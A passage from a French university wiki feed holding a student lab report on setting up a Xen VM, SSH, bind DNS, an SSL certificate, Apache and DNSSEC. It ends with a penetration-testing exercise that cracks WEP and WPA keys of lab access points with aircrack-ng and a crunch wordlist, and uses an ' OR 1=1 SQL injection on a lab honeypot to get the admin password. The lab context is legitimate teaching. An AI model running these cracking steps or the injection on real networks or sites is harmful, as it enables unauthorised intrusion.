                 'phy:/dev/storage/Corona2,xvda4,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
et &lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]&lt;br /&gt;
&lt;br /&gt;
devient :&lt;br /&gt;
&lt;br /&gt;
 vif         = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour lancer la VM, on execute :&lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/Corona.cfg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on visualise les informations relatives au file system avec la commande :&lt;br /&gt;
&lt;br /&gt;
 cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :&lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/xvda3&lt;br /&gt;
 mkdir /mnt/xvda4&lt;br /&gt;
 mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :&lt;br /&gt;
&lt;br /&gt;
 mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis dans /etc/fstab, on ajoute :&lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Ensuite, on execute : &lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin, on vérifie que les partitions ajoutées existent : &lt;br /&gt;
&lt;br /&gt;
 lsblk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto &lt;br /&gt;
&lt;br /&gt;
On applique les changements en redemarrant : &lt;br /&gt;
 &lt;br /&gt;
 systemctl restart networking&lt;br /&gt;
&lt;br /&gt;
On vérifie que la modification a eu lieu :&lt;br /&gt;
&lt;br /&gt;
 ip a&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
Raccourci pour quitter la VM : CTRL + ']'&amp;lt;br/&amp;gt;&lt;br /&gt;
Commande pour se connecter à la VM : xen console Corona&lt;br /&gt;
&lt;br /&gt;
=Configuration de la VM=&lt;br /&gt;
A présent, on configure la VM.&lt;br /&gt;
On installe openssh-server s'il n'est pas installé :&lt;br /&gt;
 apt install openssh-server&lt;br /&gt;
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :&lt;br /&gt;
 PermitRootLogin without-password&lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
Puis on recharge la configuration avec :&lt;br /&gt;
 systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
Sur la zabeth, on créé une clé ssh avec :&lt;br /&gt;
 ssh-keygen -t ed25519&lt;br /&gt;
&lt;br /&gt;
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.&lt;br /&gt;
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : &lt;br /&gt;
 ssh -o &amp;quot;IdentitiesOnly=yes&amp;quot; -i ma_cle_privée root@193.48.57.186&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=Déploiement site=&lt;br /&gt;
On achète le nom de domaine 'corona59.club' sur Gandi.net&lt;br /&gt;
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.&lt;br /&gt;
On configure également notre nameserver dans Domain &amp;gt; MON_NOM_DE_DOMAINE &amp;gt; nameservers&lt;br /&gt;
On ajoute un nameserver externe. En premier on met &amp;quot;ns.corona59.club&amp;quot;, en deuxième on met &amp;quot;ns6.gandi.net&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On installe ensuite bind sur la vm :&lt;br /&gt;
 apt install bind9&lt;br /&gt;
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :&lt;br /&gt;
 nameserver 193.48.57.186&lt;br /&gt;
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)&lt;br /&gt;
On modifie ensuite /etc/bind/named.conf.local :&lt;br /&gt;
 zone MON_NOM_DE_DOMAINE {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.MON_NOM_DE_DOMAINE&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
l'adresse &amp;quot;217.70.177.40&amp;quot; correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.&lt;br /&gt;
&lt;br /&gt;
On créé ensuite le fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns.corona59.club postmaster.corona59.club. (&lt;br /&gt;
                               4         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                           86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire&lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns.corona59.club.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
On ajoute au fichier /etc/bind/db.corona59.club :&lt;br /&gt;
 ns      IN      A       193.48.57.186&lt;br /&gt;
 www     IN      A       193.48.57.186&lt;br /&gt;
         IN      AAAA    2001:7a8:116e:60b0:216:3eff:feae:eaec&lt;br /&gt;
&lt;br /&gt;
On teste que notre configuration est correcte :&lt;br /&gt;
 host -t any ns.corona59.club localhost&lt;br /&gt;
On obtient :&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
&lt;br /&gt;
 corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800&lt;br /&gt;
 corona59.club name server ns.corona59.club.&lt;br /&gt;
 corona59.club name server ns6.gandi.net.&lt;br /&gt;
&lt;br /&gt;
Si on obtient pas ça, penser à lancer la commande :&lt;br /&gt;
 tail -50 /var/log/daemon.log&lt;br /&gt;
afin de voir ce qui c'est mal passé.&lt;br /&gt;
&lt;br /&gt;
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
=Certificat SSL=&lt;br /&gt;
Pour obtenir un certificat SSL, on tape :&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr &lt;br /&gt;
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans &amp;quot;Common Name&amp;quot;&lt;br /&gt;
Un fichier .csr et .key sont créés.&lt;br /&gt;
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create&lt;br /&gt;
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.&lt;br /&gt;
&lt;br /&gt;
=Serveur web=&lt;br /&gt;
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.&lt;br /&gt;
 a2enmod ssl&lt;br /&gt;
&lt;br /&gt;
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.186:443&amp;gt;&lt;br /&gt;
        ServerName corona59.club&lt;br /&gt;
        ServerAlias www.corona59.club&lt;br /&gt;
        DocumentRoot /var/www/corona59.club/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
 &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/corona59.club.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/corona59.club.key&lt;br /&gt;
        SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On active notre site avec la commande :&lt;br /&gt;
 a2ensite 000-corona59.club-ssl &lt;br /&gt;
&lt;br /&gt;
On édite le fichier /etc/apache2/apache2.conf en rajoutant &lt;br /&gt;
 ServerName corona59.club&lt;br /&gt;
&lt;br /&gt;
On relance apache :&lt;br /&gt;
 systemctl reload apache2&lt;br /&gt;
&lt;br /&gt;
On teste le fonctionnement avec :&lt;br /&gt;
 openssl s_client -connect 193.48.57.186:443&lt;br /&gt;
&lt;br /&gt;
 CONNECTED(00000003)&lt;br /&gt;
 Can't use SSL_get_servername&lt;br /&gt;
 depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
 verify return:1&lt;br /&gt;
 depth=0 CN = corona59.club&lt;br /&gt;
 verify return:1&lt;br /&gt;
 ---&lt;br /&gt;
 Certificate chain&lt;br /&gt;
  0 s:CN = corona59.club&lt;br /&gt;
    i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
  1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
    i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority&lt;br /&gt;
 ---&lt;br /&gt;
 Server certificate&lt;br /&gt;
 -----BEGIN CERTIFICATE-----&lt;br /&gt;
 MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw&lt;br /&gt;
 XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO&lt;br /&gt;
 MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy&lt;br /&gt;
 MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y&lt;br /&gt;
 b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW&lt;br /&gt;
 oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB&lt;br /&gt;
 OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf&lt;br /&gt;
 erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f&lt;br /&gt;
 D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs&lt;br /&gt;
 0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh&lt;br /&gt;
 Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf&lt;br /&gt;
 fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B&lt;br /&gt;
 Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB&lt;br /&gt;
 BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo&lt;br /&gt;
 dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag&lt;br /&gt;
 NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB&lt;br /&gt;
 Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz&lt;br /&gt;
 ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG&lt;br /&gt;
 GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku&lt;br /&gt;
 Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB&lt;br /&gt;
 ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD&lt;br /&gt;
 AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ&lt;br /&gt;
 JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb&lt;br /&gt;
 A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1&lt;br /&gt;
 5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB&lt;br /&gt;
 DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD&lt;br /&gt;
 AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV&lt;br /&gt;
 UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H&lt;br /&gt;
 XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5&lt;br /&gt;
 B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9&lt;br /&gt;
 TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X&lt;br /&gt;
 cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama&lt;br /&gt;
 7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY&lt;br /&gt;
 e0D4Wcue+OV6y/j2&lt;br /&gt;
 -----END CERTIFICATE-----&lt;br /&gt;
 subject=CN = corona59.club   &lt;br /&gt;
&lt;br /&gt;
 issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2&lt;br /&gt;
&lt;br /&gt;
 ---&lt;br /&gt;
 No client certificate CA names sent&lt;br /&gt;
 Peer signing digest: SHA256&lt;br /&gt;
 Peer signature type: RSA-PSS&lt;br /&gt;
 Server Temp Key: X25519, 253 bits&lt;br /&gt;
 ---&lt;br /&gt;
 SSL handshake has read 3674 bytes and written 363 bytes&lt;br /&gt;
 Verification: OK&lt;br /&gt;
 ---&lt;br /&gt;
 New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384&lt;br /&gt;
 Server public key is 2048 bit&lt;br /&gt;
 Secure Renegotiation IS NOT supported&lt;br /&gt;
 Compression: NONE&lt;br /&gt;
 Expansion: NONE&lt;br /&gt;
 No ALPN negotiated&lt;br /&gt;
 Early data was not sent&lt;br /&gt;
 Verify return code: 0 (ok)&lt;br /&gt;
 ---&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2   ....N...j.F^....&lt;br /&gt;
     0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50   ..LB..J..8.}.[3P&lt;br /&gt;
     0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6   k..i.W}....u....&lt;br /&gt;
     0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62   .s..E...b.G....b&lt;br /&gt;
     0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0   &amp;amp;_.....TUV,..B..&lt;br /&gt;
     0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75   .\../.i(...Fi..u&lt;br /&gt;
     0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28   ..;(.......R../(&lt;br /&gt;
     0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7   .,.....D...[.lk.&lt;br /&gt;
     0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec   .0.....N...=..L.&lt;br /&gt;
     00a0 - 4a fa fe c8 d9 ab ca 47-b1 5e be 87 e3 5f fc aa   J......G.^..._..&lt;br /&gt;
     00b0 - c3 04 a6 49 84 e8 9d ad-84 73 22 e0 ca 15 1d 12   ...I.....s&amp;quot;.....&lt;br /&gt;
     00c0 - d8 3f b1 24 b4 dc 52 a1-31 93 69 44 87 c5 ca a0   .?.$..R.1.iD....&lt;br /&gt;
     00d0 - 97 33 4d a9 dc 3f 01 0e-f1 28 c7 b7 6d 2f 0c 85   .3M..?...(..m/..  &lt;br /&gt;
&lt;br /&gt;
     Start Time: 1639409551&lt;br /&gt;
     Timeout   : 7200 (sec)&lt;br /&gt;
     Verify return code: 0 (ok)&lt;br /&gt;
     Extended master secret: no&lt;br /&gt;
     Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 ---&lt;br /&gt;
 Post-Handshake New Session Ticket arrived:&lt;br /&gt;
 SSL-Session:&lt;br /&gt;
     Protocol  : TLSv1.3&lt;br /&gt;
     Cipher    : TLS_AES_256_GCM_SHA384&lt;br /&gt;
     Session-ID: 120904F1719C24AC422635D7ADA4AC0F8B7BF31269BA9EC9E0FA04E8D2168C67&lt;br /&gt;
     Session-ID-ctx: &lt;br /&gt;
     Resumption PSK: 567CB793FE3B443C920AA3FCC5AA856EE38847E69A75CE53DB7545B1FD8470F3441ABDA3037A5F52D6A83F6CF56E3C80&lt;br /&gt;
     PSK identity: None&lt;br /&gt;
     PSK identity hint: None&lt;br /&gt;
     SRP username: None&lt;br /&gt;
     TLS session ticket lifetime hint: 300 (seconds)&lt;br /&gt;
     TLS session ticket:&lt;br /&gt;
     0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db   4......4.6/...h.&lt;br /&gt;
     0010 - b6 8d cb 01 84 ee 6b 2d-85 46 99 50 22 28 a9 c5   ......k-.F.P&amp;quot;(..&lt;br /&gt;
     0020 - 24 5c 27 40 06 58 d5 b7-af 41 97 ef 21 a3 93 e0   $\'@.X...A..!...&lt;br /&gt;
     0030 - ec ac a1 0c d2 f3 e3 10-bb 54 ae 1f 70 e3 e0 4e   .........T..p..N&lt;br /&gt;
     0040 - 48 88 aa 03 ab 93 f9 60-6d 8f a4 ab 18 08 30 90   H......`m.....0.&lt;br /&gt;
     0050 - 68 5a 96 00 bd eb a9 d4-b8 24 9f 21 27 36 c4 29   hZ.......$.!'6.)&lt;br /&gt;
     0060 - 37 3a 9d 53 d6 2a 26 af-04 d9 c9 d1 6e d2 6b cf   7:.S.*&amp;amp;.....n.k.&lt;br /&gt;
     0070 - 94 b8 44 cc bc e9 d5 5f-67 83 a7 80 1c 3a b5 55   ..D...._g....:.U&lt;br /&gt;
     0080 - aa f1 db f4 ec 7f f6 b5-3e 61 9e 6d b3 db da 09   ........&amp;gt;a.m....&lt;br /&gt;
     0090 - 4d cf 27 0d 9a 52 02 f4-5f b1 80 f7 a7 8e 67 f9   M.'..R.._.....g.&lt;br /&gt;
     00a0 - a8 d8 90 da 87 ea 63 36-d7 84 a2 f3 06 a5 8f d8   ......c6........&lt;br /&gt;
     00b0 - 6e 55 d9 86 8f 53 74 b2-74 d0 73 85 f2 f5 e8 b2   nU...St.t.s.....&lt;br /&gt;
     00c0 - 31 59 c3 c3 ff 22 e3 4f-23 df 9c 89 64 c3 5c 14   1Y...&amp;quot;.O#...d.\.&lt;br /&gt;
     00d0 - dc 99 92 04 4b f5 1e 43-5c 27 da 96 f3 d8 be 9e   ....K..C\'...... &lt;br /&gt;
&lt;br /&gt;
    Start Time: 1639409551&lt;br /&gt;
    Timeout   : 7200 (sec)&lt;br /&gt;
    Verify return code: 0 (ok)&lt;br /&gt;
    Extended master secret: no&lt;br /&gt;
    Max Early Data: 0&lt;br /&gt;
 ---&lt;br /&gt;
 read R BLOCK&lt;br /&gt;
 closed&lt;br /&gt;
&lt;br /&gt;
La commande :&lt;br /&gt;
 apachectl configtest&lt;br /&gt;
nous confirme que la config est OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En se connectant à l'adresse https://www.corona59.club/index.html, le navigateur affiche bien notre page d'accueil index.html&lt;br /&gt;
&lt;br /&gt;
=Securisation du DNS avec DNSSEC =&lt;br /&gt;
On souhaite sécuriser notre DNS à l'aide de DNSSEC. Pour ce faire, on génère des clés dans le repertoire /etc/bind/corona59.club.dnssec/ avec &lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 4096 -f KSK -n ZONE ns.corona59.club&lt;br /&gt;
 dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE ns.corona59.club&lt;br /&gt;
&lt;br /&gt;
on renomme respectivement les fichiers obtenus ksk.{key/private} et zsk.{key/private}  &lt;br /&gt;
on ajoute dans /etc/bind/db.corona59.club :&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-ksk.key&amp;quot;&lt;br /&gt;
 $INCLUDE &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club-zsk.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On signe avec la commande :&lt;br /&gt;
 dnssec-signzone -o ns.corona59.club -k ksk ../db.corona59.club zsk&lt;br /&gt;
&lt;br /&gt;
on obtient :&lt;br /&gt;
 Verifying the zone using the following algorithms:&lt;br /&gt;
 - NSEC3RSASHA1&lt;br /&gt;
 Zone fully signed:&lt;br /&gt;
 Algorithm: NSEC3RSASHA1: KSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
                         ZSKs: 1 active, 0 stand-by, 0 revoked&lt;br /&gt;
 ../db.corona59.club.signed&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un fichier que l'on renomme en corona59.club.signed&lt;br /&gt;
Ensuite, on modifie le fichier /etc/bind/named.conf.local pour avoir :&lt;br /&gt;
 zone &amp;quot;corona59.club&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/corona59.club.dnssec/corona59.club.signed&amp;quot;;&lt;br /&gt;
	allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute ensuite notre clé ksk.key dans l'onglet DNSSEC.&lt;br /&gt;
Enfin, on teste que ça fonctionne avec le site 'https://dnssec-analyzer.verisignlabs.com/corona59.club'&lt;br /&gt;
&lt;br /&gt;
=Test d'intrusion=&lt;br /&gt;
&lt;br /&gt;
On commence par tenter de casser une clé WEP.&lt;br /&gt;
Sur l'ordi bleu, on récupère le nom de l'interface réseau (après avoir fait 'su -' ) :&lt;br /&gt;
 airmon-ng&lt;br /&gt;
&lt;br /&gt;
puis on lance (3 représente la channel utilisée)&lt;br /&gt;
 airmon-ng start NOM_DE_L_INTERFACE 3&lt;br /&gt;
&lt;br /&gt;
Notre interface est renommée 'wlan0mon' de manière à avoir un nom plus court.&amp;lt;br/&amp;gt;&lt;br /&gt;
Pour visualiser les paquets sniffés, on execute alors &lt;br /&gt;
 airodump-ng -c 3 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On observe plusieurs emetteurs, avec leur BSSID associé.&lt;br /&gt;
On choisit d'attaquer cracotte11 dont le BSSID est 04:DA:D2:9C:50:5A&lt;br /&gt;
On lance alors la commande : &lt;br /&gt;
 airodump-ng -w MonFichier -c 3 --bssid 04:DA:D2:9C:50:5A wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après 5-10 minutes, on met fin au programme avec CTRL+C et on execute :&lt;br /&gt;
 aircrack-ng MonFichier-01.cap&lt;br /&gt;
 &lt;br /&gt;
Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On essaye à présent de casser une clé WPA.&lt;br /&gt;
On scanne la bande de fréquence 9 :&lt;br /&gt;
 airodump-ng -c 9 wlan0mon&lt;br /&gt;
On récupère le BSSID de kracotte11 : 44:AD:D9:5F:87:0A&lt;br /&gt;
On récupère ensuite des handshakes avec la commande : &lt;br /&gt;
 airodump-ng -c 9 --bssid 44:AD:D9:5F:87:0A -w MonFichier wlan0mon&lt;br /&gt;
Par la suite, on souhaite utiliser l'utilitaire crunch.&lt;br /&gt;
 apt install crunch&lt;br /&gt;
Pour l'installer, il faut une connexion internet. On utilise donc le bridge des zabeth et on configure le fichier /etc/network/interfaces de l'ordi bleu en ajoutant :&lt;br /&gt;
 auto enp4s0&lt;br /&gt;
 iface enp4s0 inet static&lt;br /&gt;
   address 172.26.145.121/24&lt;br /&gt;
   gateway 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Crunch va nous permettre de générer la liste des mots de passe d'exactement 8 chiffres que l'on utilisera pour cracker la clé :&lt;br /&gt;
 crunch 8 8 0123456789 -o password.lst&lt;br /&gt;
&lt;br /&gt;
Enfin, on lance la commande :&lt;br /&gt;
 aircrack-ng -w password.lst -b 44:AD:D9:5F:87:0A MonFichier.cap&lt;br /&gt;
&lt;br /&gt;
Le processus peut prendre plusieurs heures.&lt;br /&gt;
&lt;br /&gt;
=Injection SQL=&lt;br /&gt;
A l'adresse honey.plil.info, on utilise de l'injection SQL pour obtenir les data backend&lt;br /&gt;
Pour ce faire, on met dans la cellule 'identifiant' la valeur &lt;br /&gt;
 ' OR 1 = 1;&lt;br /&gt;
Coté backend, la requete  SQL effectuée ressemble probablement à&lt;br /&gt;
 select * from table1 where $id='$CELLULE1' and $password='$CELLULE2';&lt;br /&gt;
&lt;br /&gt;
En conséquence, notre injection génère la requete :&lt;br /&gt;
 select * from table1 where $id='' or 1=1; ' and $password='$CELLULE2';&lt;br /&gt;
Le premier ';' met fin à la requete. Puisque la condition 1=1 est toujours vraie, on affiche ainsi l'ensemble de la table&lt;br /&gt;
On accède ainsi à l'identifiant admin ainsi qu'au mot de passe que l'on utilise pour se connecter.&lt;/div&gt;</summary>
		<author><name>Cgodet1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57773</id>
		<title>TP sysres IMA5 2021/2022 G11</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&amp;diff=57773"/>
				<updated>2022-01-10T17:34:48Z</updated>
		
		<summary type="html">&lt;p&gt;Cgodet1 : /* Serveur web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Creation de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, s'il y a un problème de proxy, taper la commande :&lt;br /&gt;
 export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.&lt;br /&gt;
&lt;br /&gt;
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton&lt;br /&gt;
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton&lt;br /&gt;
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.&lt;br /&gt;
